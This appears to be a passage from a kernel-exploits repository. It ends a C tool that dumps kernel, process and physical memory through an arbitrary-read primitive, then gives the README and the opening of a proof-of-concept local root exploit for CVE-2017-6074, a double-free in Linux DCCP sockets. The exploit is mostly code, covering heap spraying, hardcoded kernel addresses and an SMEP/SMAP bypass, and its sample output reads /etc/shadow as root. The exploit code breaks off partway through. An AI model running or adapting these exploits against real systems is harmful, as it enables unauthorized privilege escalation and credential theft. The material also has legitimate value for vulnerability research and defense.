| static void physmap_init() { 1044 | unsigned long divide_error = read_idt_gate(0); 1045 | info("[.] divide_error: %016lx\n", divide_error); 1046 | 1047 | g_kernel_text = divide_error - O_DIVIDE_ERROR; 1048 | info("[.] kernel text: %016lx\n", g_kernel_text); 1049 | 1050 | if (O_PAGE_OFFSET_BASE) { 1051 | unsigned long page_offset_base = 1052 | g_kernel_text + O_PAGE_OFFSET_BASE; 1053 | info("[.] page_offset_base: %016lx\n", page_offset_base); 1054 | 1055 | g_physmap = read_8(page_offset_base); 1056 | info("[.] physmap: %016lx\n", g_physmap); 1057 | if (g_physmap < PAGE_OFFSET_BASE) { 1058 | info("[-] physmap sanity check failed " 1059 | "(wrong offset?)\n"); 1060 | exit(EXIT_FAILURE); 1061 | } 1062 | } else { 1063 | g_physmap = PAGE_OFFSET_BASE; 1064 | info("[.] physmap: %016lx\n", g_physmap); 1065 | } 1066 | } 1067 | 1068 | static unsigned long g_mmap = 0; 1069 | 1070 | static void pts_init(int pid) { 1071 | unsigned long mm; 1072 | 1073 | if (pid != 0) { 1074 | unsigned long init_task = g_kernel_text + O_INIT_TASK; 1075 | info("[.] init_task: %016lx\n", init_task); 1076 | 1077 | unsigned long task = find_task_by_pid(init_task, pid); 1078 | info("[.] task: %016lx\n", task); 1079 | if (task == 0) { 1080 | info("[-] task %d not found\n", pid); 1081 | exit(EXIT_FAILURE); 1082 | } else if (task < PAGE_OFFSET_BASE) { 1083 | info("[-] task sanity check failed (wrong offset?)\n"); 1084 | exit(EXIT_FAILURE); 1085 | } 1086 | 1087 | mm = read_field_8(task, O_TASK_STRUCT_MM); 1088 | info("[.] task->mm: %016lx\n", mm); 1089 | if (mm == 0) { 1090 | info("[-] mm not found (kernel task?)\n"); 1091 | exit(EXIT_FAILURE); 1092 | } else if (mm < PAGE_OFFSET_BASE) { 1093 | info("[-] mm sanity check failed (wrong offset?)\n"); 1094 | exit(EXIT_FAILURE); 1095 | } 1096 | 1097 | g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP); 1098 | info("[.] task->mm->mmap: %016lx\n", g_mmap); 1099 | if (g_mmap < PAGE_OFFSET_BASE) { 1100 | info("[-] mmap sanity check failed (wrong offset?)\n"); 1101 | exit(EXIT_FAILURE); 1102 | } 1103 | } else { 1104 | mm = g_kernel_text + O_INIT_MM; 1105 | } 1106 | 1107 | unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD); 1108 | info("[.] task->mm->pgd: %016lx\n", pgd); 1109 | if (pgd < PAGE_OFFSET_BASE) { 1110 | info("[-] pgd sanity check failed (wrong offset?)\n"); 1111 | exit(EXIT_FAILURE); 1112 | } 1113 | 1114 | ptsc_init(&g_ptsc, g_physmap, pgd); 1115 | } 1116 | 1117 | static unsigned long page_virt_to_phys(unsigned long addr) { 1118 | unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); 1119 | assert(paddr != 0); 1120 | return paddr - g_physmap; 1121 | } 1122 | 1123 | static bool page_check_virt(unsigned long addr) { 1124 | unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); 1125 | return paddr != 0; 1126 | } 1127 | 1128 | static bool page_check_phys(unsigned long offset) { 1129 | return page_check_virt(g_physmap + offset); 1130 | } 1131 | 1132 | static void phys_read_range(unsigned long offset, size_t length, char *buffer) { 1133 | read_range(g_physmap + offset, length, buffer); 1134 | } 1135 | 1136 | static void for_each_mmap(mmap_callback callback, void *private) { 1137 | for_each_mmap_from(g_mmap, callback, private); 1138 | } 1139 | 1140 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1141 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1142 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1143 | 1144 | static int create_file(const char *path) { 1145 | int fd = open(path, O_RDWR | O_CREAT, 0644); 1146 | if (fd < 0) { 1147 | perror("[-] open()"); 1148 | exit(EXIT_FAILURE); 1149 | } 1150 | return fd; 1151 | } 1152 | 1153 | static int open_dir(const char *path) { 1154 | int fd = open(path, O_DIRECTORY | O_PATH); 1155 | if (fd < 0) { 1156 | perror("[-] open()"); 1157 | exit(EXIT_FAILURE); 1158 | } 1159 | return fd; 1160 | } 1161 | 1162 | static int create_file_in_dir(int dirfd, const char *name) { 1163 | int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644); 1164 | if (fd < 0) { 1165 | perror("[-] openat()"); 1166 | exit(EXIT_FAILURE); 1167 | } 1168 | return fd; 1169 | } 1170 | 1171 | static void write_file(int fd, char *buffer, size_t length) { 1172 | int rv = write(fd, buffer, length); 1173 | if (rv != length) { 1174 | perror("[-] write()"); 1175 | exit(EXIT_FAILURE); 1176 | } 1177 | } 1178 | 1179 | static void write_bytes(int fd, unsigned long src_addr, 1180 | char *buffer, size_t length) { 1181 | if (fd < 0) 1182 | print_bytes(LOG_INFO, src_addr, buffer, length); 1183 | else 1184 | write_file(fd, buffer, length); 1185 | } 1186 | 1187 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1188 | 1189 | void read_virt_memory(unsigned long addr, size_t length, int fd) { 1190 | char buffer[PAGE_SIZE]; 1191 | char empty[PAGE_SIZE]; 1192 | 1193 | debug1("read_virt_memory: addr = %016lx, length = %016lx\n", 1194 | addr, length); 1195 | 1196 | memset(&empty[0], 0, sizeof(empty)); 1197 | 1198 | size_t total_read = 0; 1199 | while (total_read < length) { 1200 | unsigned long current = addr + total_read; 1201 | size_t to_read = PAGE_SIZE; 1202 | if (current % PAGE_SIZE != 0) 1203 | to_read = PAGE_SIZE - current % PAGE_SIZE; 1204 | to_read = min(to_read, length - total_read); 1205 | if (page_check_virt(addr + total_read)) { 1206 | read_range(addr + total_read, to_read, &buffer[0]); 1207 | write_bytes(fd, addr + total_read, &buffer[0], to_read); 1208 | } else { 1209 | write_bytes(fd, addr + total_read, &empty[0], to_read); 1210 | } 1211 | total_read += to_read; 1212 | } 1213 | } 1214 | 1215 | void read_phys_memory(unsigned long src_addr, unsigned long offset, 1216 | size_t length, int fd) { 1217 | char buffer[PAGE_SIZE]; 1218 | char empty[PAGE_SIZE]; 1219 | 1220 | debug1("read_phys_memory: offset = %016lx, length = %016lx\n", 1221 | offset, length); 1222 | 1223 | memset(&empty[0], 0, sizeof(empty)); 1224 | 1225 | size_t total_read = 0; 1226 | while (total_read < length) { 1227 | unsigned long current = offset + total_read; 1228 | size_t to_read = PAGE_SIZE; 1229 | if (current % PAGE_SIZE != 0) 1230 | to_read = PAGE_SIZE - current % PAGE_SIZE; 1231 | to_read = min(to_read, length - total_read); 1232 | if (page_check_phys(offset + total_read)) { 1233 | phys_read_range(offset + total_read, to_read, 1234 | &buffer[0]); 1235 | write_bytes(fd, src_addr + offset + total_read, 1236 | &buffer[0], to_read); 1237 | } else { 1238 | write_bytes(fd, src_addr + offset + total_read, 1239 | &empty[0], to_read); 1240 | } 1241 | total_read += to_read; 1242 | } 1243 | } 1244 | 1245 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1246 | 1247 | #define VM_READ 0x00000001 1248 | #define VM_WRITE 0x00000002 1249 | #define VM_EXEC 0x00000004 1250 | 1251 | static void print_mmap(unsigned long start, unsigned long end, unsigned flags) { 1252 | info("[%016lx, %016lx) %s%s%s\n", 1253 | start, end, 1254 | (flags & VM_READ) ? "r" : "-", 1255 | (flags & VM_WRITE) ? "w" : "-", 1256 | (flags & VM_EXEC) ? "x" : "-"); 1257 | } 1258 | 1259 | static void name_mmap(unsigned long start, unsigned long end, unsigned flags, 1260 | char *buffer, size_t length) { 1261 | snprintf(buffer, length, "%016lx_%016lx_%s%s%s", 1262 | start, end, 1263 | (flags & VM_READ) ? "r" : "-", 1264 | (flags & VM_WRITE) ? "w" : "-", 1265 | (flags & VM_EXEC) ? "x" : "-"); 1266 | } 1267 | 1268 | static void save_mmap(struct mmap_entry *entry, void *private) { 1269 | int dirfd = (int)(unsigned long)private; 1270 | unsigned long length; 1271 | char name[128]; 1272 | char empty[PAGE_SIZE]; 1273 | 1274 | assert(entry->start % PAGE_SIZE == 0); 1275 | assert(entry->end % PAGE_SIZE == 0); 1276 | 1277 | memset(&empty, 0, sizeof(empty)); 1278 | length = entry->end - entry->start; 1279 | 1280 | print_mmap(entry->start, entry->end, entry->flags); 1281 | name_mmap(entry->start, entry->end, entry->flags, 1282 | &name[0], sizeof(name)); 1283 | int fd = create_file_in_dir(dirfd, &name[0]); 1284 | 1285 | size_t total_read = 0; 1286 | while (total_read < length) { 1287 | if (page_check_virt(entry->start + total_read)) { 1288 | unsigned long offset = page_virt_to_phys( 1289 | entry->start + total_read); 1290 | read_phys_memory(entry->start + total_read, offset, 1291 | PAGE_SIZE, fd); 1292 | } else { 1293 | write_bytes(fd, entry->start + total_read, 1294 | &empty[0], PAGE_SIZE); 1295 | } 1296 | total_read += PAGE_SIZE; 1297 | } 1298 | 1299 | close(fd); 1300 | } 1301 | 1302 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1303 | 1304 | unsigned long get_phys_size() { 1305 | struct sysinfo info; 1306 | int rv = sysinfo(&info); 1307 | if (rv != 0) { 1308 | perror("sysinfo()"); 1309 | return EXIT_FAILURE; 1310 | } 1311 | debug1("phys size: %016lx\n", info.totalram); 1312 | return info.totalram; 1313 | } 1314 | 1315 | void phys_search(unsigned long start, unsigned long end, char *needle) { 1316 | char buffer[PAGE_SIZE]; 1317 | int length = strlen(needle); 1318 | 1319 | assert(length <= PAGE_SIZE); 1320 | 1321 | unsigned long offset; 1322 | for (offset = start; offset < end; offset += PAGE_SIZE) { 1323 | if (offset % (32ul << 20) == 0) 1324 | info("[.] now at %016lx\n", offset); 1325 | if (!page_check_phys(offset)) 1326 | continue; 1327 | phys_read_range(offset, length, &buffer[0]); 1328 | if (memcmp(&buffer[0], needle, length) != 0) 1329 | continue; 1330 | info("[+] found at %016lx\n", offset); 1331 | return; 1332 | } 1333 | info("[-] not found\n"); 1334 | } 1335 | 1336 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1337 | 1338 | #define CMD_IDT 1 1339 | #define CMD_PID 2 1340 | #define CMD_VIRT 3 1341 | #define CMD_PHYS 4 1342 | #define CMD_SEARCH 5 1343 | 1344 | int g_cmd = 0; 1345 | 1346 | static unsigned g_num = 1; 1347 | static unsigned g_pid = 0; 1348 | static unsigned long g_addr = 0; 1349 | static unsigned long g_length = 0; 1350 | static unsigned long g_offset = 0; 1351 | static const char *g_dir = NULL; 1352 | static const char *g_file = NULL; 1353 | static char *g_string = NULL; 1354 | 1355 | static void print_usage(const char* name) { 1356 | info("Usage: \n"); 1357 | info(" %s idt [NUM] " 1358 | "dump IDT entries\n", name); 1359 | info(" %s pid PID DIR " 1360 | "dump process memory\n", name); 1361 | info(" %s virt ADDR LENGTH [FILE] " 1362 | "dump virtual memory\n", name); 1363 | info(" %s phys OFFSET LENGTH [FILE] " 1364 | "dump physical memory\n", name); 1365 | info(" %s search STRING [OFFSET [LENGTH]] " 1366 | "search start of each physical page\n", name); 1367 | info("\n"); 1368 | info(" NUM, PID - decimals\n"); 1369 | info(" ADDR, LENGTH, OFFSET - hex\n"); 1370 | info(" DIR, FILE, STRING - strings\n"); 1371 | } 1372 | 1373 | static bool parse_u(char *s, int base, unsigned *out) { 1374 | int length = strlen(s); 1375 | char *endptr = NULL; 1376 | unsigned long result = strtoul(s, &endptr, base); 1377 | if (endptr != s + length) 1378 | return false; 1379 | *out = result; 1380 | return true; 1381 | } 1382 | 1383 | static bool parse_ul(char *s, int base, unsigned long *out) { 1384 | int length = strlen(s); 1385 | char *endptr = NULL; 1386 | unsigned long result = strtoul(s, &endptr, base); 1387 | if (endptr != s + length) 1388 | return false; 1389 | *out = result; 1390 | return true; 1391 | } 1392 | 1393 | static int parse_cmd(const char *cmd) { 1394 | if (strcmp(cmd, "idt") == 0) 1395 | return CMD_IDT; 1396 | if (strcmp(cmd, "pid") == 0) 1397 | return CMD_PID; 1398 | if (strcmp(cmd, "virt") == 0) 1399 | return CMD_VIRT; 1400 | if (strcmp(cmd, "phys") == 0) 1401 | return CMD_PHYS; 1402 | if (strcmp(cmd, "search") == 0) 1403 | return CMD_SEARCH; 1404 | return 0; 1405 | } 1406 | 1407 | static bool parse_args(int argc, char **argv) { 1408 | if (argc < 2) 1409 | return false; 1410 | 1411 | g_cmd = parse_cmd(argv[1]); 1412 | 1413 | switch (g_cmd) { 1414 | case CMD_IDT: 1415 | if (argc > 3) 1416 | return false; 1417 | if (argc >= 3 && !parse_u(argv[2], 10, &g_num)) 1418 | return false; 1419 | return true; 1420 | case CMD_PID: 1421 | if (argc != 4) 1422 | return false; 1423 | if (!parse_u(argv[2], 10, &g_pid)) 1424 | return false; 1425 | if (g_pid <= 0) 1426 | return false; 1427 | g_dir = argv[3]; 1428 | debug1("CMD_PID %u %s\n", g_pid, g_dir); 1429 | return true; 1430 | case CMD_VIRT: 1431 | if (argc < 4 || argc > 5) 1432 | return false; 1433 | if (!parse_ul(argv[2], 16, &g_addr)) 1434 | return false; 1435 | if (!parse_ul(argv[3], 16, &g_length)) 1436 | return false; 1437 | if (argc == 5) 1438 | g_file = argv[4]; 1439 | debug1("CMD_VIRT %016lx %016lx %s\n", g_addr, 1440 | g_length, g_file ? g_file : "NULL"); 1441 | return true; 1442 | case CMD_PHYS: 1443 | if (argc < 4 || argc > 5) 1444 | return false; 1445 | if (!parse_ul(argv[2], 16, &g_offset)) 1446 | return false; 1447 | if (!parse_ul(argv[3], 16, &g_length)) 1448 | return false; 1449 | if (argc == 5) 1450 | g_file = argv[4]; 1451 | debug1("CMD_PHYS %016lx %016lx %s\n", g_offset, 1452 | g_length, g_file ? g_file : "NULL"); 1453 | return true; 1454 | case CMD_SEARCH: 1455 | if (argc < 3 || argc > 5) 1456 | return false; 1457 | g_string = argv[2]; 1458 | if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset)) 1459 | return false; 1460 | if (argc >= 5 && !parse_ul(argv[4], 16, &g_length)) 1461 | return false; 1462 | debug1("CMD_SEARCH <%s> %016lx %016lx\n", 1463 | g_string, g_offset, g_length); 1464 | return true; 1465 | default: 1466 | return false; 1467 | } 1468 | 1469 | return true; 1470 | } 1471 | 1472 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1473 | 1474 | void handle_cmd_idt() { 1475 | info("[.] dumping IDT\n"); 1476 | print_idt(g_num); 1477 | info("[+] done\n"); 1478 | } 1479 | 1480 | void handle_cmd_virt() { 1481 | int fd = -1; 1482 | info("[.] dumping virtual memory [%016lx, %016lx):\n", 1483 | g_addr, g_addr + g_length); 1484 | if (g_file != NULL) 1485 | fd = create_file(g_file); 1486 | read_virt_memory(g_addr, g_length, fd); 1487 | if (fd != -1) 1488 | close(fd); 1489 | info("[+] done\n"); 1490 | } 1491 | 1492 | void handle_cmd_phys() { 1493 | int fd = -1; 1494 | info("[.] dumping physical memory [%016lx, %016lx):\n", 1495 | g_offset, g_offset + g_length); 1496 | if (g_file != NULL) 1497 | fd = create_file(g_file); 1498 | read_phys_memory(0, g_offset, g_length, fd); 1499 | if (fd != -1) 1500 | close(fd); 1501 | info("[+] done\n"); 1502 | } 1503 | 1504 | void handle_cmd_pid() { 1505 | info("[.] dumping mmaps for %u:\n", g_pid); 1506 | int dirfd = open_dir(g_dir); 1507 | for_each_mmap(save_mmap, (void *)(unsigned long)dirfd); 1508 | close(dirfd); 1509 | info("[+] done\n"); 1510 | } 1511 | 1512 | void handle_cmd_search() { 1513 | unsigned long start = g_offset ? g_offset : 0; 1514 | unsigned long end = g_length ? (start + g_length) : get_phys_size(); 1515 | info("[.] searching [%016lx, %016lx) for '%s':\n", 1516 | start, end, g_string); 1517 | phys_search(start, end, g_string); 1518 | info("[+] done\n"); 1519 | } 1520 | 1521 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1522 | 1523 | int main(int argc, char **argv) { 1524 | assert(getpagesize() == PAGE_SIZE); 1525 | 1526 | if (!parse_args(argc, argv)) { 1527 | print_usage(argv[0]); 1528 | exit(EXIT_FAILURE); 1529 | } 1530 | 1531 | arbitrary_read_init(); 1532 | 1533 | if (g_cmd == CMD_IDT) { 1534 | handle_cmd_idt(); 1535 | return EXIT_SUCCESS; 1536 | } 1537 | 1538 | physmap_init(); 1539 | 1540 | switch (g_cmd) { 1541 | case CMD_VIRT: 1542 | pts_init(getpid()); 1543 | handle_cmd_virt(); 1544 | break; 1545 | case CMD_PHYS: 1546 | pts_init(0); 1547 | handle_cmd_phys(); 1548 | break; 1549 | case CMD_SEARCH: 1550 | pts_init(0); 1551 | handle_cmd_search(); 1552 | break; 1553 | case CMD_PID: 1554 | pts_init(g_pid); 1555 | handle_cmd_pid(); 1556 | break; 1557 | } 1558 | 1559 | return EXIT_SUCCESS; 1560 | } 1561 | -------------------------------------------------------------------------------- /CVE-2017-6074/README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-6074 2 | ============= 3 | 4 | This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-6074](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074) — a double-free vulnerability I found in the Linux kernel DCCP sockets. 5 | Includes semireliable SMEP and SMAP bypass (the kernel might crash shorty after the exploit succeds). 6 | See the details in [CVE-2017-6074: Exploiting a double-free in the Linux kernel DCCP sockets](https://xairy.io/articles/2017/cve-2017-6074). 7 | -------------------------------------------------------------------------------- /CVE-2017-6074/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-6074. 2 | // Includes a semireliable SMAP/SMEP bypass. 3 | // Tested on 4.4.0-62-generic #83-Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 5 | // 6 | // Usage: 7 | // $ gcc poc.c -o pwn 8 | // $ ./pwn 9 | // [.] namespace sandbox setup successfully 10 | // [.] disabling SMEP & SMAP 11 | // [.] scheduling 0xffffffff81064550(0x406e0) 12 | // [.] waiting for the timer to execute 13 | // [.] done 14 | // [.] SMEP & SMAP should be off now 15 | // [.] getting root 16 | // [.] executing 0x402043 17 | // [.] done 18 | // [.] should be root now 19 | // [.] checking if we got root 20 | // [+] got r00t ^_^ 21 | // [!] don't kill the exploit binary, the kernel will crash 22 | // # cat /etc/shadow 23 | // ... 24 | // daemon:*:17149:0:99999:7::: 25 | // bin:*:17149:0:99999:7::: 26 | // sys:*:17149:0:99999:7::: 27 | // sync:*:17149:0:99999:7::: 28 | // games:*:17149:0:99999:7::: 29 | // ... 30 | // 31 | // Andrey Konovalov 32 | 33 | #define _GNU_SOURCE 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | 53 | #include 54 | #include 55 | #include 56 | 57 | #define SMEP_SMAP_BYPASS 1 58 | 59 | // Needed for local root. 60 | #define COMMIT_CREDS 0xffffffff810a2840L 61 | #define PREPARE_KERNEL_CRED 0xffffffff810a2c30L 62 | #define SHINFO_OFFSET 1728 63 | 64 | // Needed for SMEP_SMAP_BYPASS. 65 | #define NATIVE_WRITE_CR4 0xffffffff81064550ul 66 | #define CR4_DESIRED_VALUE 0x406e0ul 67 | #define TIMER_OFFSET (728 + 48 + 104) 68 | 69 | #define KMALLOC_PAD 128 70 | #define KMALLOC_WARM 32 71 | #define CATCH_FIRST 6 72 | #define CATCH_AGAIN 16 73 | #define CATCH_AGAIN_SMALL 64 74 | 75 | // Port is incremented on each use. 76 | static int port = 11000; 77 | 78 | void debug(const char *msg) { 79 | /* 80 | char buffer[32]; 81 | snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg); 82 | system(buffer); 83 | */ 84 | } 85 | 86 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 87 | 88 | struct ubuf_info { 89 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 90 | uint64_t ctx; // void * 91 | uint64_t desc; // unsigned long 92 | }; 93 | 94 | struct skb_shared_info { 95 | uint8_t nr_frags; // unsigned char 96 | uint8_t tx_flags; // __u8 97 | uint16_t gso_size; // unsigned short 98 | uint16_t gso_segs; // unsigned short 99 | uint16_t gso_type; // unsigned short 100 | uint64_t frag_list; // struct sk_buff * 101 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 102 | uint32_t tskey; // u32 103 | uint32_t ip6_frag_id; // __be32 104 | uint32_t dataref; // atomic_t 105 | uint64_t destructor_arg; // void * 106 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 107 | }; 108 | 109 | struct ubuf_info ui; 110 | 111 | void init_skb_buffer(char* buffer, void *func) { 112 | memset(&buffer[0], 0, 2048); 113 | 114 | struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET]; 115 | 116 | ssi->tx_flags = 0xff; 117 | ssi->destructor_arg = (uint64_t)&ui; 118 | ssi->nr_frags = 0; 119 | ssi->frag_list = 0; 120 | 121 | ui.callback = (unsigned long)func; 122 | } 123 | 124 | struct timer_list { 125 | void *next; 126 | void *prev; 127 | unsigned long expires; 128 | void (*function)(unsigned long); 129 | unsigned long data; 130 | unsigned int flags; 131 | int slack; 132 | }; 133 | 134 | void init_timer_buffer(char* buffer, void *func, unsigned long arg) { 135 | memset(&buffer[0], 0, 2048); 136 | 137 | struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; 138 | 139 | timer->next = 0; 140 | timer->prev = 0; 141 | timer->expires = 4294943360; 142 | timer->function = func; 143 | timer->data = arg; 144 | timer->flags = 1; 145 | timer->slack = -1; 146 | } 147 | 148 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 149 | 150 | struct dccp_handle { 151 | struct sockaddr_in6 sa; 152 | int s1; 153 | int s2; 154 | }; 155 | 156 | void dccp_init(struct dccp_handle *handle, int port) { 157 | handle->sa.sin6_family = AF_INET6; 158 | handle->sa.sin6_port = htons(port); 159 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 160 | handle->sa.sin6_flowinfo = 0; 161 | handle->sa.sin6_scope_id = 0; 162 | 163 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 164 | if (handle->s1 == -1) { 165 | perror("socket(SOCK_DCCP)"); 166 | exit(EXIT_FAILURE); 167 | } 168 | 169 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 170 | if (rv != 0) { 171 | perror("bind()"); 172 | exit(EXIT_FAILURE); 173 | } 174 | 175 | rv = listen(handle->s1, 0x9); 176 | if (rv != 0) { 177 | perror("listen()"); 178 | exit(EXIT_FAILURE); 179 | } 180 | 181 | int optval = 8; 182 | rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, 183 | &optval, sizeof(optval)); 184 | if (rv != 0) { 185 | perror("setsockopt(IPV6_RECVPKTINFO)"); 186 | exit(EXIT_FAILURE); 187 | } 188 | 189 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 190 | if (handle->s1 == -1) { 191 | perror("socket(SOCK_DCCP)"); 192 | exit(EXIT_FAILURE); 193 | } 194 | } 195 | 196 | void dccp_kmalloc_kfree(struct dccp_handle *handle) { 197 | int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 198 | if (rv != 0) { 199 | perror("connect(SOCK_DCCP)"); 200 | exit(EXIT_FAILURE); 201 | } 202 | } 203 | 204 | void dccp_kfree_again(struct dccp_handle *handle) { 205 | int rv = shutdown(handle->s1, SHUT_RDWR); 206 | if (rv != 0) { 207 | perror("shutdown(SOCK_DCCP)"); 208 | exit(EXIT_FAILURE); 209 | } 210 | } 211 | 212 | void dccp_destroy(struct dccp_handle *handle) { 213 | close(handle->s1); 214 | close(handle->s2); 215 | } 216 | 217 | // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * * 218 | 219 | struct udp_fifo_handle { 220 | int fds[2]; 221 | }; 222 | 223 | void udp_fifo_init(struct udp_fifo_handle* handle) { 224 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds); 225 | if (rv != 0) { 226 | perror("socketpair()"); 227 | exit(EXIT_FAILURE); 228 | } 229 | } 230 | 231 | void udp_fifo_destroy(struct udp_fifo_handle* handle) { 232 | close(handle->fds[0]); 233 | close(handle->fds[1]); 234 | } 235 | 236 | void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) { 237 | int rv = send(handle->fds[0], buffer, 1536, 0); 238 | if (rv != 1536) { 239 | perror("send()"); 240 | exit(EXIT_FAILURE); 241 | } 242 | } 243 | 244 | void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) { 245 | char buffer[128]; 246 | int rv = send(handle->fds[0], &buffer[0], 128, 0); 247 | if (rv != 128) { 248 | perror("send()"); 249 | exit(EXIT_FAILURE); 250 | } 251 | } 252 | 253 | void udp_fifo_kfree(struct udp_fifo_handle* handle) { 254 | char buffer[2048]; 255 | int rv = recv(handle->fds[1], &buffer[0], 1536, 0); 256 | if (rv != 1536) { 257 | perror("recv()"); 258 | exit(EXIT_FAILURE); 259 | } 260 | } 261 | 262 | int timer_kmalloc() { 263 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 264 | if (s == -1) { 265 | perror("socket(SOCK_DGRAM)"); 266 | exit(EXIT_FAILURE); 267 | } 268 | return s; 269 | } 270 | 271 | #define CONF_RING_FRAMES 1 272 | void timer_schedule(int handle, int timeout) { 273 | int optval = TPACKET_V3; 274 | int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION, 275 | &optval, sizeof(optval)); 276 | if (rv != 0) { 277 | perror("setsockopt(PACKET_VERSION)"); 278 | exit(EXIT_FAILURE); 279 | } 280 | struct tpacket_req3 tp; 281 | memset(&tp, 0, sizeof(tp)); 282 | tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); 283 | tp.tp_block_nr = 1; 284 | tp.tp_frame_size = getpagesize(); 285 | tp.tp_frame_nr = CONF_RING_FRAMES; 286 | tp.tp_retire_blk_tov = timeout; 287 | rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING, 288 | (void *)&tp, sizeof(tp)); 289 | if (rv != 0) { 290 | perror("setsockopt(PACKET_RX_RING)"); 291 | exit(EXIT_FAILURE); 292 | } 293 | } 294 | 295 | void socket_sendmmsg(int sock, char *buffer) { 296 | struct mmsghdr msg[1]; 297 | 298 | msg[0].msg_hdr.msg_iovlen = 0; 299 | 300 | // Buffer to kmalloc. 301 | msg[0].msg_hdr.msg_control = &buffer[0]; 302 | msg[0].msg_hdr.msg_controllen = 2048; 303 | 304 | // Make sendmmsg exit easy with EINVAL. 305 | msg[0].msg_hdr.msg_name = "root"; 306 | msg[0].msg_hdr.msg_namelen = 1; 307 | 308 | int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); 309 | if (rv == -1 && errno != EINVAL) { 310 | perror("[-] sendmmsg()"); 311 | exit(EXIT_FAILURE); 312 | } 313 | } 314 | 315 | void sendmmsg_kmalloc_kfree(int port, char *buffer) { 316 | int sock[2]; 317 | 318 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); 319 | if (rv != 0) { 320 | perror("socketpair()"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | socket_sendmmsg(sock[0], buffer); 325 | 326 | close(sock[0]); 327 | } 328 | 329 | // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * * 330 | 331 | void dccp_connect_pad(struct dccp_handle *handle, int port) { 332 | handle->sa.sin6_family = AF_INET6; 333 | handle->sa.sin6_port = htons(port); 334 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 335 | handle->sa.sin6_flowinfo = 0; 336 | handle->sa.sin6_scope_id = 0; 337 | 338 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 339 | if (handle->s1 == -1) { 340 | perror("socket(SOCK_DCCP)"); 341 | exit(EXIT_FAILURE); 342 | } 343 | 344 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 345 | if (rv != 0) { 346 | perror("bind()"); 347 | exit(EXIT_FAILURE); 348 | } 349 | 350 | rv = listen(handle->s1, 0x9); 351 | if (rv != 0) { 352 | perror("listen()"); 353 | exit(EXIT_FAILURE); 354 | } 355 | 356 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 357 | if (handle->s1 == -1) { 358 | perror("socket(SOCK_DCCP)"); 359 | exit(EXIT_FAILURE); 360 | } 361 | 362 | rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 363 | if (rv != 0) { 364 | perror("connect(SOCK_DCCP)"); 365 | exit(EXIT_FAILURE); 366 | } 367 | } 368 | 369 | void dccp_kmalloc_pad() { 370 | int i; 371 | struct dccp_handle handle; 372 | for (i = 0; i < 4; i++) { 373 | dccp_connect_pad(&handle, port++); 374 | } 375 | } 376 | 377 | void timer_kmalloc_pad() { 378 | int i; 379 | for (i = 0; i < 4; i++) { 380 | socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 381 | } 382 | } 383 | 384 | void udp_kmalloc_pad() { 385 | int i, j; 386 | char dummy[2048]; 387 | struct udp_fifo_handle uh[16]; 388 | for (i = 0; i < KMALLOC_PAD / 16; i++) { 389 | udp_fifo_init(&uh[i]); 390 | for (j = 0; j < 16; j++) 391 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 392 | } 393 | } 394 | 395 | void 